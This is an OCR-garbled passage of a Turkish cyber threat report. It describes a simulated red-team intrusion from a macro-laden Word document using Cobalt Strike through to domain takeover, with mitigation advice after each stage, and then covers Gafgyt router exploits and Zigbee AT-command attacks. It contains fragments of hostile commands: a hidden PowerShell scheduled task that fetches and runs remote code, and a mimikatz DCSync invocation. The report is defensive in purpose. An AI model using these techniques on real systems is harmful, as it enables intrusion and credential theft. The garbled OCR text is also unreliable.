$h.send();

Sekil 14: Cobalt Strike Uizerindeki zararli kodu indirip bellekte ¢a-
histiran PowerShell kodu.

Bu kod pargasi base64 ile encode edilmis ve makro i¢in
gerekli fonksiyonlar da kullanilarak Word dokimanina
asagidaki sekilde eklenmistir.

1 var_sh
Set v

End Sub

Sekil 15: Word dokiimanindaki makro kodu.

Ardindan kurbani makrolari c¢alistirmaya ikna etmek
icin dokiimana cesitli metin ve gorseller eklenmistir.
Dokumanin son hali asagidaki gibidir.

Lo

b
Li
i
]

)

Sekil 16: Zararl makro bulunduran Word dokimani.
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fF-rnandn_.rnuq'I era
WIN1G @ 5364

13.56.211.251

a v

> sleep A
ked beacon to become interactive

host called home, sent
> getuid
1 sked beacon Lo
host called hom
[*] ¥You are WINDOMATNY fernando.muslera
getprivs
1 ked beacon to enable privileges
host called home, sent: 755 bytes
received output
ShutdownPrivile
SeChangeNotifyPrivilege
SeUndockPrivilege

16 bytes

Sekil 17: Cobalt Strike ile kurban bilgisayarina erisim saglanmasi
ve cesitli komutlarin ¢aligtirimasi.

4.2.2. Oneriler

Bu ve benzeri saldinlarn énlemek igin Windows Attack
Surface Reduction Rules adi verilen kurallar olustu-
rulabilir. Bu kurallar ile Office programlar izerinden
baska bir slirecin (process) baslamasi engellenebilir.

- Not: Bu énlem Parent PID Spoofing isimli yéntemle
atlatilabilir.

Word makrolari igin tg farkli secenek bulunmaktadir.
Bu secenekler:

- Makrolarin  herhangi  bir veriimeden

calistinlmamasi,

- Makrolar igin uyari verilmesi fakat makronun
calistirimamasi,

- Makrolarin otomatik olarak caligtiriimasidir.

uyari

Eger kurum icin uygunsa group policy ile ilk secge-
nek uygulanip istemcilerde makrolarin calistirnimasi
engellenebilir.

- Not: Office dokiimanlan (zerindeki tek saldin yénte-
mi makrolar degildir. DDE vb. yéntemlerle de saldirilar
gerceklestirilebilir. Bu nedenle bu islem de tam koru-
ma saglamaz.

Uygulama beyaz liste (Application Whitelisting) yon-
temleri kullanilarak PowerShell.exe, cmd.exe, mshta.
exe vb. k6ti amacl kullanilabilecek sistem uygula-
malari devre digi birakilabilir.

- Not: PowerShell.exe’nin devre disi birakiimasi
PowerShell’in devre digi birakilmasi anlamina gel-
mez. System.Management.Automation.dll’ini kullanan

11



thimnkktech

STM Teknolojik Diisiince Merkezi

A

uygulamalar PowerShell araylziine erisebilir. Ayrica
beyaz liste yéntemlerini atlatmak icin ¢esitli Microsoft
yaziimlan kullaniimaktadir.

Varsayllan PowerShell modu FullLanguage yerine
ConstrainedLanguageMode olarak uygulanabilir. Bu
sayede makineye erisen saldirgan PowerShell ko-
mutlarini ¢ok kisith bir sekilde calistirabilecektir.

- Not: ConstrainedLanguageMode cesitli yéntemlerle
atlatilabilir.

PowerShell loglama opsiyonu aktif edilebilir.
PowerShell loglama opsiyonu aktive edildiginde ¢a-
istirlan kod parcgalarina ait cok detayli loglar alinabi-
lir. Bu loglar Gzerinde yazilan imzalar ile tespit calis-
malar yapilabilir. Fakat bu loglama opsiyonu aktive
edildiginde buyuk miktarlarda log olusturabilir.

4.3. Kalicihgin Saglanmasi (Persistence)

Kullanici bilgisayarina ilk erisim saglandiktan sonra
Zamanlanmis Gorevler (Scheduled Tasks) kullanilarak
sistemde Kkalicilik (persistence) saglanmistir. Kalicihg
saglamak icin ilgili komutta kullanilacak PowerShell
dosya yolunu belirlemek icin éncelikle sistemin mimarisi
tespit edilmigstir. Zamanlanmig gérev olusturmak icin kul-
lanilan komut, Winupdater adiyla saatte bir PowerShell
komutu calistiran bir gérev eklemektedir.

rahel 1. exe

cesstully beem created

Sekil 18: Sistemde kalicilik saglanmasi i¢in mimarinin tespit edil-
mesi ve zamanlanmig gorev eklenmesi.

schtasks fcreate

/tn WinUpdater

ftr " \windows\syswowbd\WindowsPowershell\vl. 8\powershell.exe
-WindowStyle hidden -Nologo -MHonInteractive -ep bypass -nop -c

"TEX ((new-ohject

Sekil 19: Zamanlanmis gérev eklemek igin kullanilan komut.

4.3.1. Oneriler

Eder kurum veya calisanlar igin uygunsa zamanlan-
mis gorev olusturma yetkileri sadece yerel yéneticile-
re verilebilir.

Windows Event Loglari ile yeni bir zamanlanmis go-
rev olustugunda veya bir gdrevin igerigi degistirildi-
ginde alarm Uretilebilir.

EKIM-ARALIK 2019

4.4. Yerel Yetki Yiikseltme (Local Privilege
Escalation)

Fernando.muslera isimli kullanici yetkileri incelendiginde
kullanicinin ele gegirilen makinede yetkili olmadigi gorul-
mistir. Bu asamadan sonra kurban bilgisayarinda yetki
yukseltip “NT/Authority System” yetkilerini ele gegirebil-
mek icin PowerUp araci kullanilarak zafiyetler tespit edil-
meye caligiimigtir.

Sekil 20: PowerUp aracinin yiklenmesi ve galistirnimasi.

PowerUp araci ile yetkileri yanlis yapilandirimis servis
dosyasi tespit edilmistir. ScsiAccess.exe adli bu dosya
yetkili bir sekilde galisabilmekte, fakat dosya Uzerine
tim kullanicilar yazabilmektedir.

Sekil 21: PowerUp araci ile yanls yetkilendirilmis ScsiAccess.exe
dosyasinin tespit edilmesi.

Sekil 22: PowerShell ile ScsiAccess.exe dosyasinin izinlerinin go-
rinttlenmesi.

Bu asamada zararli servis uygulamasi olusturulmus
ve ScsiAccess.exe yerine bu dosya yerlestiriimistir.
Ardindan sunucu yeniden baglatiimigtir.

Bu asamadan sonra yetkili baglanti elde edilmis ve sis-
tem Uzerinde bu yetkiyle komut calistirabilmigtir.

Yetkili sistem kullanicisi ile WIN10 bilgisayarindaki paro-
la 6zet degerleri hashdump ve mimikatz araclar kullani-
larak ele gecirilmigtir.

SIBER TEHDIT DURUM RAPORU
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Sekil 23: Sistem uygulamasinin zararli uygulamayla degistirilip sis-
temin yeniden baglatiimasi.

SYSTIM *
WIN1G @ 3144

13.5/7.48.160

fernando.
WIN1G @ A78

Sekil 26: Parola dzetlerinin iki farkli aragla elde edilmesi.
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4.4.1. Oneriler

Servisler Gzerindeki izinler periyodik araliklarla kont-
rol edilmeli ve yetkili bir sekilde calisip herkesin (ever-
yone) Uizerine yazabildigi dosyalar tespit edilip izinleri
duzeltilmelidir.

PowerUp veya benzeri araglar kullanilarak sistem-
deki diger yetki yikseltme zafiyetleri tespit edilip
giderilmelidir.

4.5. Etki Alaninda Yetki Yiikseltme (Domain
Privilege Escalation)

Saldirgan lokal sistemde yetki yikselttikten sonra sis-
temde Bloodhound aracini ¢alistirmis ve etki alanina ait
bilgileri toplamigtir. Bu veriyi Neo4dJ veritabani Gzerinde
inceleyip Kerberoasting ve ASREPRoasting saldirisi ya-
pilabilecek kullanicilar sorgulamis ve tespit etmigtir.

4.5.1. Kerberos Protokoliine Yonelik Saldirilar

@ Request TGT Windows

- Domain Controller

@ TGT + Session Key

€ Reguest Ticket + Auth

© Ticket + Session Key

r Y

o Reguest Service + Auth KDC =AS + TGS

e Server

Authentication

Resource
Server

Sekil 27: Kerberos kimlik dogrulama protokol®.

Kerberos, kimlik dogrulama isleminde istemci 6ncelikle
kimlik bilgilerini KDC Uzerindeki AS’ye (Authentication
Service) géndererek kimligini dogrular (preauthenticati-
on) ve KDC’den TGT (Ticket Granting Ticket) adl bileti
ve Session Key degerini alir. TGT Kerberos protokoli-
nd yéneten krbtgt kullanicisinin parola dzetiyle, Session
Key ise istemci kullanicisinin parola dzetiyle sifrelenmek-
tedir. Daha sonra istemci erismek istedigi servisin bile-
tini almak icin bu TGT’yi KDC Uzerindeki TGS’ye (Ticket
Granting Service) gonderir. TGS de kullanici yetkilendir-
mesini dogruladiktan sonra kullaniciya servise erisme-
si icin gerekli bileti gdénderir. TGS de bu bileti erisilecek
servis kullanicisinin NT parola 6zet degeriyle sifreleyerek
kullaniciya géndermektedir. Kullanici bu bileti kullanarak
erismek istedigi servise erigebilir.
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4.5.1.1. ASREPRoasting Saldirisi

Bu saldin etki alaninda “6n kimlik dogrulama gerektir-
mez” (Doesn’t Require Kerberos Preauthentication)
seklinde isaretlenen kullanicilar icin gecerlidir. Bu kul-
lanicilar icin Kerberos protokollntn ilk asamasi zorunlu
tutulmadigindan, baska bir kullanici da bu kullanici adina
KDC’den TGT bileti ve Session Key degerini isteyebilir.
Session Key degeri de kullanicinin parola 6zetiyle sifre-
lendiginden bu degere offline olarak kaba kuvvet saldiri-
sI yaplilirsa ve parola tahmin edilebilir diizeyde ise kulla-
nicinin parolasi agik metin halde elde edilmis olur.

4.5.1.2. Kerberoasting Saldirisi

Bu saldir metodu Kerberos kimlik dogrulama protoko-
[GnUn 4. adimindaki servis bileti kullanilarak gercekles-
tiriimektedir. Bu adimda TGS g&énderdigi bileti servis
kullanicisinin parola &zetiyle sifrelediginden; saldirgan
erismek istedigi servise ait bileti elde edip bu bilet Uze-
rinde offline bir sekilde kaba kuvvet saldirisi gerceklesti-
rebilir. Eger servis kullanicisinin parolasi tahmin edilebilir
dlzeyde ise bu saldiri basariyla sonuglanacaktir.

Windows etki alaninda servis hesaplari SPN (Service
Principal Name) degerleriyle tespit edilebilir. Bu degerler
Bloodhound, Powerview, setspn.exe vb. araclarla veya
dogrudan LDAP sorgulariyla tespit edilebilir.

Sekil 28: Bloodhound araciyla bilgi toplanmasi.

E n.name

Sekil 29: ASREPRoasting saldirisi yapilabilecek kullanicilarin tes-
pit edilmesi.

il e R sarcaprincipainames
™

Sekil 30: Kerberoasting saldirisi yapilabilecek kullanicilarin tespit
edilmesi.
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ASREPRoasting saldirisi yapilabilecek kullanicilar tes-
pit edildikten sonra ASREPRoast.ps1 araciyla saldiri
gerceklestirilmis ve bu kullanicilarin parola 6zetleri ele
gecirilmigtir.

Sekil 31: Asreproast saldirisi yapilarak parola 6zetlerinin ele ge-
girilmesi.

Elde edilen bu parola 6zetlerine John The Ripper ara-
clyla kaba kuvvet saldirisi gergeklestiriimis ve parolalar
elde edilmisgtir.

Sekil 32: Kaba kuvvet saldirisi ile parolalarin elde edilmesi.

SPN’e (Service Principal Name) sahip kullanicilar tespit
edildikten sonra mimikatz araci kullanilarak 6ncelikle
TGS biletleri alinmis (ticket request), daha sonra bu bi-
letler yine mimikatz araciyla bellek Uzerinden diske kay-
dedilmis (export), son olarak da bu biletler (izerinde kaba
kuvvet saldirnsi uygulanmistir.

k /target: DO/ tpowell.

Sekil 33: Mimikatz ile servislere ait biletlerin elde edilmesi.

SIBER TEHDIT DURUM RAPORU
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9 12:04:39 MM

+ renewabl

LLDCAL

initial g r
DOMATH. LOCAL-WE

Sekil 34: Mimikatz ile bellekteki biletlerin listelenmesi ve diske
kaydedilmesi.

-48,
i 4-48210008-win10s

LOCAL.kArdt

Sekil 35: Diske kaydedilen biletlere kaba kuvvet saldirisi gergek-
lestiriimesi ve parolalarin ele gegirilmesi.

Bu saldinlar sonucunda basit parola kullanilan ve ayni
zamanda Domain Admin grubunda bulunan servis
hesaplarinin parolalari elde edilmistir. Bu sayede de
Domain Admin yetkisi ele gecirilmistir.

4.5.1.3. Oneriler

Don’t require kerberos preauthentication 6zelligi isa-
retli kullanicilar tespit edilmeli ve bu opsiyon deaktif
edilmelidir. Eger bu opsiyonun kullanilmasi zorun-
lu ise ¢ok guglu bir kullanici parolasi belirlenmelidir.
Ayrica bu opsiyona sahip kullanicilar yetkili gruplara
alinmamalidir.

Normal kullanici hesaplari ile servis hesaplar birbi-
rinden ayrilmall, servis hesaplari sadece o servisin
yoénetimi icin kullanilmalidir. Servis hesaplan olabildi-
gince az sekilde yetkilendiriimelidir.

Servishesaplariicin cok gliclii parolalar belirlenmelidir.

4.6. Yatayda Yayilma (Lateral Movement)

Domain Admin yetkileri elde edildikten sonra diger su-
nuculara da sizmak icin 6ncelikle ag Uzerinde servis
taramalar gerceklestirilmistir. Bu sayede ayakta olan
sunucular, sunucular Uzerindeki servisler ve sunucularin
rolleri tespit edilmistir. Bu tarama sonucunda yerel agda-
ki DC, WEF ve Logger makineleri tespit edilmigtir.

Agdaki sistemler tespit edildikten sonra yatayda ya-
yiim icin  WinRM (Windows Remote Management/
PowerShell Remoting) ve WMI (Windows Management

SIBER TEHDIT DURUM RAPORU
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83" is alive,

bunu-Aubun tud . 4)

Sekil 36: Cobalt Strike kullanilarak servis taramasinin gercekles-
tirilmesi.

Instrumentation) protokolleri kullanilarak yatayda yayilim
saglanmigtir. Bu islemler yapilirken yine Cobalt Strike’in
gerekli moduilleri kullaniimistir.

|uzar password realm note

adrminisraton e0ZbeS033Xd51T1... WINLD

Guest Idbcledd]1Gaed3lb... WINLD
WDAGUHIIACCoUNt  20392Ba0343f14634... WINLD
wagrant e02bc 503339051171, WINLD
Defaultaccaunt $dbcfetd 1Eaed 31, WINLD
User: whitejoseph

Password: |-n|.'|_;;h

Comalin: WINDOMAIN

Ustener:  [Listenerl - || add
Session:  |SYSTEM * via 192.168.38.104@5176

] Ut session's current access token

Launch || Help

Sekil 37: whitejoseph kullanicisi ile winrm baglantisinin gergek-
lestirilmesi.

€ d he
sonated NT AL
led home, sent:
rtput i

Sekil 38: WinRM ile wef sunucusunda oturum agilmasi ve Cobalt
Strike beacon’unun yerlestiriimesi.

A1) on DC via WMI

Sekil 39: WMI ile dc Gizerinde oturum acilmasi ve Cobalt Strike
beacon’unun yerlestiriimesi.

15
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4.6.1. Oneriler

Kurumda WinRM (PowerShell Remoting) kullaniimi-
yorsa bu protokol kurum bazinda iptal edilebilir ve
5985 portu Uzerinden kullanimi izlenebilir.

WMI protokolll uzaktan erisim igcin normalde rasgele
bir port kullanmaktadir. Oncelikle bu port sabitlenebi-
lir ve bu port tizerinden bu protokolle yapilan uzaktan
erisimler izlenebilir.

Varsayillanda WMI ile uzaktan erisimi sadece yetKkili
kullanicilar gerceklestirebilmektedir. Kurum politika-
larinda bu durum gézden gecirilmeli ve bu yetki sa-
dece yetkili kullanicilar igin tanimlanmalidir.

4.7. Etki Alaninda Kaliciik Saglama
(Domain Persistence)

Similasyonun son asamasinda DcSync saldirnisi kul-
lanilarak etki alanindaki tUm kullanicilarin ve bilgisa-
yarlarin parola 6zeti elde edilmistir. DcSync saldirisi
replika yapma yetkisine sahip kullanicilarla gercekles-
tirilebilmekte ve gergek DC sunucusuna replika yapma
istegi gonderilmektedir. Gercek DC sunucusu da bu
istek Uzerine etki alani veritabanini géndermektedir.
Saldirgan da bu sayede etki alanindaki kullanici ve bil-
gisayar hesaplarinin parola 6zetlerini ele gecirmektedir.
Bu parola 6zetlerini ileriki asamalarda sisteme tekrar
erisim icin kullanabilir.

mp: dcsync fdomain:windomain. local fall fosv command

Sekil 40: Cobalt Strike kullanilarak DcSync saldirisi yapilmasi ve
etki alanindaki tim parola 6zetlerinin elde edilmesi.

16

EKIM-ARALIK 2019

4.7.1. Oneriler

Etki alaninda replika yapma yetkisine (Replicating
Directory Changes, Replicating Directory Changes
All ve Replicating Directory Changes In Filtered Set)
sahip kullanicilar tespit edilmeli ve eJer sadece bu
haklara sahip kullanicilar var ise kullanicilarin ge¢gmis
hareketleri incelenmelidir.

Bu saldiriyi tespit etmek igin; DC sunucusu olmayan
(veya etki alaninda olmayan) ve DC sunucularindan
birine replika yapma istegi (DsGetNCChange) gon-
deren sunucu var ise alarm Uretilebilir veya DC sunu-
cusuna yapilan tim replika istekleri loglanarak kont-
rol edilebilir.

Bu saldin gerceklestirildikten sonra krbtgt parolasi
en az iki kez degistiriimeli, acija cikan kullanici ve
bilgisayar parolalari degistiriimelidir. Eger bilgisayar
parolalar da degistiriimezse saldirgan bu parolalar
kullanarak tekrar DcSync veya benzeri saldirilar ger-
ceklestirebilir. Cunkl DC ve benzeri bazi bilgisayar
hesaplari Active Directory Uzerinde degisiklik yapma
yetkisine (WriteDACL) sahiptir.

4.8. Sonu¢

Kurumlarda bu ve benzeri senaryolar Uretilerek tekrar-
lanmall ve mavi takimlarin tespit yetenekleri ortaya ¢ika-
riimalidir. Senaryolarin hazirlanmasi sirasinda Mitre tara-
findan olusturulan Att&ck Matrisi referans alinabilir. Bu
sayede giniimlz glvenlik testlerinin korumaya (protec-
tion) yonelik aldigi dnlemlerin yetersiz kaldigi durumlarda
tespit (detection) ve miidahale (response) yetenekleri ile
saldirganlara cevap verilebilir.

5. MODEMLERI TEHDIT EDEN YENI MiRAI
TUREVLERI

Mirai zararl yazihmi, 10T cihazlarinda sik kullanilan kul-
lanici adi-parola ciftlerinden yararlanarak Telnet proto-
kolu araciligiyla cihaz Uzerinde oturum agmay ve ciha-
z1 somirerek DDoS saldirisi gerceklestirmeyi hedefler.
internetin en biiyik DNS hizmet saglayicilarindan birisi
olan DYN sirketine gerceklestirilien ve Twitter, Reddit,
Paypal, Netflix, Spotify gibi hizmet ve icerik saglayici-
larin servislerini kesintiye ugratan saldirnnin altinda da
Mirai zararl yazihmi vardi. 2016 yilinda gerceklesen bu
bluylk saldindan sonra DDoS saldirilarinin dnemi yeni-
den gdzler 6nline serildi.

Mirai zararli yazihminin kaynak kodu “HackForums”da
da “Anna Senpai” tarafindan yaymnlandi (Sekil 41).
Kaynak kodun yayinlanmasiyla birlikte Mirai tlrevi bir-
¢ok zararl yazihm ortaya ¢iktl. Bu zararl yazimlar cesitli
loT cihazlarinin yani sira modemler icin de bircok tehdit
barindinyor.

SIBER TEHDIT DURUM RAPORU
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Preface

Sekil 41: Mirai zararll yazilminin paylasildigi adres ve site

Gafgyt, 2014 yilinda ortaya ¢cikmistir ve bilinen Mirai sal-
dinisi gibi blytk ¢apta DDoS (hizmet reddi dagitimi) sal-
dirllarinin baglatiimasinda populer olan bir botnettir. Eylul
2019 tarihinde bu zararli yazilimin yeni bir varyanti orta-
ya cikti”. Bu zararli yaziim 6&zellikle Zyxel, Huawei ve
Realtek gibi ticari markalarin kablosuz kicuk ofis ve ev
yoénlendiricilerine bulasarak oyun sunucularina (6zellikle
Valf Kaynagi motorunu calistiranlara) saldiriyor ve cihaz-
lar bot agina dahil etmeyi hedefliyor. Bu sayede cihazlar
Uzerinde uzaktan kod calistirarak cihazlari istismar eden
JenX Botnete kargsi rekabet ediyor. Botnet ayni zamanda
Instagram’da sikga satilan benzer botnetlere karsi da re-
kabet halindedir. Shodan taramalarina gére, diinyada bu
istismarlara karsi potansiyel olarak hassas 32,000’den
fazla Wi-Fi yonlendiricisi bulunmaktadir®. Buna ek ola-
rak bu yeni varyantta JenX’in sémuremedigi bir glivenlik
acig| daha var.

5.1. Hedef Olan loT Cihazlar - Wi-Fi
SOHO Yonlendiricileri

Endustride en sik kullanilan loT cihazlar arasinda bulu-
nan kablosuz ydnlendiriciler botnetler icin énemli bir he-
deftir. Ayrica oyun sunuculari ile botnetler arasinda gucli
bir bag oldugu da bilinmektedir. Hedef olan Wi-Fi y6n-
lendiriciler ve cihazlarin nasil etkilendigine dair bilgiler su
sekilde:

ZYXEL P660HN-T1A - CVE-2017-18368. Uzaktan
kumanda sistem kayitlarinin iletiminde bulunan bir za-
fiyet. Kimligi dogrulanmamis kullanicinin uzaktan eri-
simine izin veriyor. Glvenlik a¢igi, ViewLog.asp say-
fasinda ve remote_host parametresiyle kullaniliyor.
Huawei HG532 - CVE-2017-17215. Kimligi dogrulan-
mamis kullanicinin 37215 portunu hedef alarak zararli
paketlerle uzaktan kod galistirabildigi giivenlik agigi-
dir. JenX’te mevcuttur.

Realtek rtl81xx Chipset - CVE-2014-8361. Kimligi
dogrulanmamis kullanicinin yeni dahili istemci istegi
(NewlnternalClient request) ile uzaktan kod calistira-
bildigi glvenlik acigidir.

Gafgyt, bilinen bu gilvenlik aciklarini sémirmek icin
tarayicilan kullanarak loT cihazlarini hedef alir ve ayni
anda birka¢ DDoS saldirisi yapabilir. Arastirmacilar, bu
Gafgyt varyantinin ana hedefinin Valve Source Engine
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(VSE) galistiran oyun sunucularina saldirarak oyun en-
dustrisini hedefledigini agikladi. Zararl yazilim, enfekte
oldugu cihaz Uzerinde calistiktan sonra C2 sunucusu-
na baglaniyor ve cihaz bilgilerini botnete katiimak lzere
iletiyor. Bu Gafgyt varyantinda cihaz (zerinde bulunan
diger botnetleri 6ldiren ve bdylelikle cihazi kontrol eden
tek merkez olmayi saglayan bir yazihm mevcut. Cihaz
botnete katildiginda, ¢esitli DoS saldirnlan gerceklestir-
mek icin komutlar almaya basliyor. Bu komutlar asagida
aciklanmaktadir.

5.1.1. DoS Atak Secenekleri

Bu Gafgyt varyanti, C2 sunucusundan alinan komutlara
bagl olarak ayni anda farkli DoS saldir tipleri gercekles-
tirebilir. Zararli yazihmin main() fonksiyonu, komutu ca-
hstirmak ve saldir baslatmak icin processCmd() fonksi-
yonunu ¢agirir. Belirlenen bazi énemli saldin secenekleri
sunlardir:

HTTP: Bu saldiny! gergeklestirmek icin SendHTTP()
fonksiyonu ¢agrlir. Bu fonksiyon alti farkli parametre
alir. Ayrica saldiryr gerceklestirmek igin programda
tanimlanan User-Agent’lardan biri rasgele kullanilir.

HTTPHex: HTTP’ye benzer sekilde SendHTTPHex()
fonksiyonunu ¢agirir. Bu fonksiyon SendHTTP() fonk-
siyonuyla ayni parametreleri gerektirir, ancak normal
bir dosya yolu kullanmak yerine sunucunun tim kay-
naklarini tiketmek icin onaltilik diziyi kullanir.

HTTPCF: Cloudflare tarafindan korunan servislere
yonelik saldindir.

KILLER & KILLATTK: Cihaz Uzerindeki diger rakip
botnetleri éldurdr.

VSE: Valve Source Engine caligtiran oyun sunuculari-
na saldirmak icin payload icerir.

Gafgyt, modemleri tehdit eden tek zararli yazihm degildir.
Gafgyt’nin son siridminin tehdit ettigi bircok modem
uzun yillardir kullanihyor. Bu zararlidan korunabilmek icin
modemlerin guivenlik glincellemelerinin yapiimasi ya da
uygun durumlarda modemlerin Ust versiyonlara gegiril-
mesi gerekiyor.

6. ZIGBEE PROTOKOLUNE YAPILAN YENI
SALDIRILAR

loT aglarindaki son kullanicilarin etkilesimi genelde ug¢
birimlerde yer alan sensoérlerin topladiklar veriler veya
sunduklar hizmetler merkezlidir. Ureticilerin bu ug birim-
ler icin kullandigi en yaygin ve dnemli kablosuz iletisim
teknolojilerinden biri de Zigbee protokoltdir. loT agla-
rinda guvenlik son kullanicilarin mahremiyetini korumak
icin blylk énem arz ederken, sinirli bir islem kapasite-
sine sahip loT cihazlarinda bunu tam olarak saglamak
oldukga zordur.
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Bu bélimde, Zigbee aglarindaki uzak AT komutlarindan
kaynaklanan zafiyetleri ortaya ¢ikaran glivenlik aciklarini
degerlendirdik. Zigbee haberlesme protokoliini kullanan
XBee cihazlarinda AT komutlar cihazlarnin mevcut yapi-
landirma ayarlarini okumak veya degistirmek igin kulla-
nilirlar. Ornegin her cihazin hangi Zigbee agina bagla-
nacagini belirleyen PANID’si veya hangi kanal lizerinden
haberlesecegini tanimlayan CH (channel) parametreleri
AT komutlan yardimiyla degistirilebilir veya okunabilir.
Mevcut bir loT aginda uzak AT komutlarini kullanarak,
bir paketin hedef adresinin, digim kimliginin ve agin
PAN ID’sinin degistiriimesini iceren ¢ adet basarili “ice-
rideki adam saldinsi” gergeklestirdik. Bu calisma, loT
alanindaki guivenlik ¢calismalarinda Zigbee 6zelinde daha
guvenilir sistemler tasarlama ve gelistirmede arastirma-
cilara ¢ok yararl olacaktir.

internet ortaminda cok cesitli cihazlar birbirine baghdir ve
Nesnelerin interneti (IoT) cihazlari internet devriminde cok
dnemli bir rol oynamaktadir. internet, sosyal medya ve in-
ternette gezinmek gibi kigisel kullanimlar da dahil olmak
Uzere bankacilik, ticaret, egitim, hisse senedi alim satimi
ve benzeri daha birgok profesyonel sektérde bugln bel-
kemigini olusturmaktadir®. internet devriminin bir sonucu
olarak, internet her zaman bagl kalabilen farkl igleviere
sahip, coklu loT dzellikli nesnelerle doludur. Ornek olarak
akill saatler, cep telefonlar, tabletler, saglik ve ev otomas-
yonunda kullanilan cihazlar sayilabilir.

loT kavramina gelince, sensérler gercek dinyadan veri
toplamak icin kullanilir. Bu sensérler diger digimlerle
iletisim kurarak ve onlarla etkilesime gecerek bir kanal
boyunca toplanan verileri paylasir®. Bu loT cihazlarin
kullanimi ev otomasyonundan endustriyel boyuttaki
otomasyona kadar genisleyebilir. Ev otomasyonu bag-
laminda loT, gunlik kullanim amagh cihazlarin isitma
ve sogutma sensorleri, ampuller, yangin sensérleri ve
guvenlik amach dahili olarak monte edilmis kamera-
lar gibi bircok cihazin baglantisini saglar. l1oT cihazlari,
Ethernet, Zigbee ve Wi-Fi gibi ¢esitli iletisim protokolle-
rini destekleyebilir.

Zigbee protokoli, dusik veri aktarim hizi ile minimum
enerji tiketimi temellerine dayanan iki yonlu bir iletisim
saglar®. Zigbee protokolinin tasarminda bazi glven-
lik dnlemleri tanimlanmig olsa da birinci énceligi dusik
eneriji tiketimi oldugu icin bazi noktalarda glvenlik pren-
siplerinden taviz verilmistir'®. Bu nedenle, Zigbee agdla-
rnda cesitli zayifliklar gdzlemlenmektedir.

Gecmiste, Zigbee cihazlarinda bulunan givenlik agikla-
rindan yararlanmak icin cok cgesitli saldirilar yapilmigtir %
0.021.08, Zigbee aglarina yapilacak saldirilarda genellikle
bu alan icin gelistirilen Killerbee isim 6zellesmis bir fra-
mework kullaniimaktadir. Killerbee, Zigbee ag anahtarla-
rini elde etme, DoS (hizmet digi birakma saldirisi), ghost
saldirilar, replay saldirilari vb. birgok farkli saldiri tiriintn
Zigbee icin uyarlanmig araglarini igcinde barindirmaktadir.
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Bununla birlikte, AT komutlariyla ilgili Zigbee aciklarini
ayrintili olarak incelemek icin ¢ok az ¢alisma yapilmigtir.
Zigbee’deki mevcut calismalarin ¢gogunda, hizmet digi
birakma ve tekrarlama (replay) saldirilar gibi yaygin istis-
marlar etrafinda toplanmaktadir. DGgim Kimligi, Hedef
Kimligi ve PAN ID gibi Zigbee parametrelerinin degisti-
rilmesi Uzerine yapilan ¢alismalar oldukga kisithdir. Sekil
42’de Uzak AT komutunun ¢alisma akisi gosterilmektedir.

> o;‘-'. Command
o; . AT Command Request o AT Response
b4 7€ |000F | 17]01]...16D)|
mHmmE: B

Sekil 42: Uzak AT komutu ¢alisma akigi™.,

Bu yazida, glvenlik zayifigi icin Zigbee protokollni
kullanarak sensor aglarini degerlendirdik ve Zigbee loT
aglarindaki uzak AT komutlarini kullanarak Gc¢ gtvenlik
acig tespit ettik. Calisma sirasinda, Zigbee cihazinin
glvenligine iligkin kilit husus, uzaktan AT komutu sal-
dirisi olarak biliniyordu. Daha sonra, belirli bir dGgim-
le iligkili olan dGgum kimligini, bir paketin adresi olan
hedef adresini ve belirli bir Zigbee grubunu tanimlayan
Kisisel Alan Agi (PAN ID) kimligini degistirmeye daya-
nan U¢ uzak AT komutu saldirisi hazirladik. Bu saldiri-
lan test etmek icin, deneysel bir 0T agi kurduk ve bu
saldirilari basarili bir sekilde yurutttk. Deney saldirilarin
uygulanabilirligini kanitladi ve bunlarin ¢alisma akisini
ortaya koydu.

6.1. Uzak AT Komut Saldirilan

ilk olarak havadaki Zigbee trafigini yakalamak icin
Killerbee cergeve yazihmini kullanan Python betigi ca-
hstinlarak veri toplamasi gergeklestiriimigtir. Daha son-
ra ise Uzak AT komutlarini kullanan farkli bir Python
betigiyle saldinlar diizenlenmigstir. Remote AT komutlari
kullanilarak Dugim Kimligi, Hedef Adres ve PAN ID pa-
rametrelerinin okundugu ve degistirildigi toplam U¢ kez
uzaktan saldin gerceklestirildi. izleyen bélimler, saldiri-
nin orijinal parametreleri nasil okudugunu ve nasil degis-
tirdigini anlatmaktadir.

Digum Kimligi, 6nbellege alinmis bir parametre seklidir
ve tiim 6nbellege alinan parametreler arasinda degistiri-
lebilecek tek parametredir. DGgum kimligiyle iliskili olan
“set_node_id” komutu bir saldirganin aygitin DGgim
Kimligini degistirmesini saglar. Komut, Xbee cihazinda
onceden 6nbellege alinmis degeri glincelleyerek ve yeni
bir degerle degistiriimesine olanak verir.

SIBER TEHDIT DURUM RAPORU
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Hedef adres dnbelleksiz bir Xbee parametresidir. Hedef
adres, 64 bit uzunlugunda bir Xbee modulinin varsa-
yllan adresidir. Bu adres, Xbee dugumleri tarafindan
Uretilen verileri, digumler arasinda iletmek i¢in kullanir.
Veriler Python kodundaki “get_dest_address” ydntemi
kullanilarak okunabilir. Bu yéntem, Xbee’nin verilerinin
rapor edilecegi Zigbee cihazinin 64 bit adresini saglar.
“set_dest_addresss” yontemi, Xbee’nin varsayilan hedef
adresini degigtirir ve bdylece veriler artik bizim istedigi-
miz adrese gonderilebilir.

PAN ID, Kisisel Alan Agi (PAN) Kimligi anlamina gelir. Sekil
43’te bir ZigBee paketi ve onun PAN ID’si gbrilmektedir.
Her Zigbee aginin tekil bir kimligi vardir. Killerbee fra-
mework’inde bulunan “get_pan_id” metodu, Xbee ay-
gitlarinin dahil oldugu Zigbee aginin PAN ID’sini déndu-
rir. “set_pan_id” metodu ise saldirgan tarafindan farkl
bir ag kimligi atamak icin kullanilir. Bu noktadan sonra
Xbee cihazi artik saldirganin istedigi farkli bir Zigbee agi-
nin pargasi olarak calismaya devam edecektir.

BAnLE_00:03:20: 40147 (00:15:02:00:03: 201 40:47]]

{or 1
FEs (Correct)
¥ Ziglee Network Layer Command, 0st: Sroagcast, Sr: Gxeeee

Sekil 43: ZigBee paket yapisi.

6.2. Analiz

Zigbee modullerinde Uzak AT komutlarnyla ilgili gu-
venlik aciklar bu arastirmada basariyla kullaniimigtir.
Saldirganin bu cesit bir saldiry1 gerceklestirebilmesi icin
en dnemli 6n kosul hedef Zigbee agina dahil olmaktir. Bu
nedenle, uzaktan yapilan AT komut saldirilarina ayrica
Insider (icerideki Adam) Saldirilari da denir, ¢linkii agda
kétl amach bir saldirganin varligi olmadan bu saldirilari
basaril bir sekilde gerceklestirmek mimkin degildir.

Zigbee cihazlar, aglan kesfetmek icin “beacon requ-
est” adi verilen 6zel bir IEEE 802.15.4 paketi génderirler,
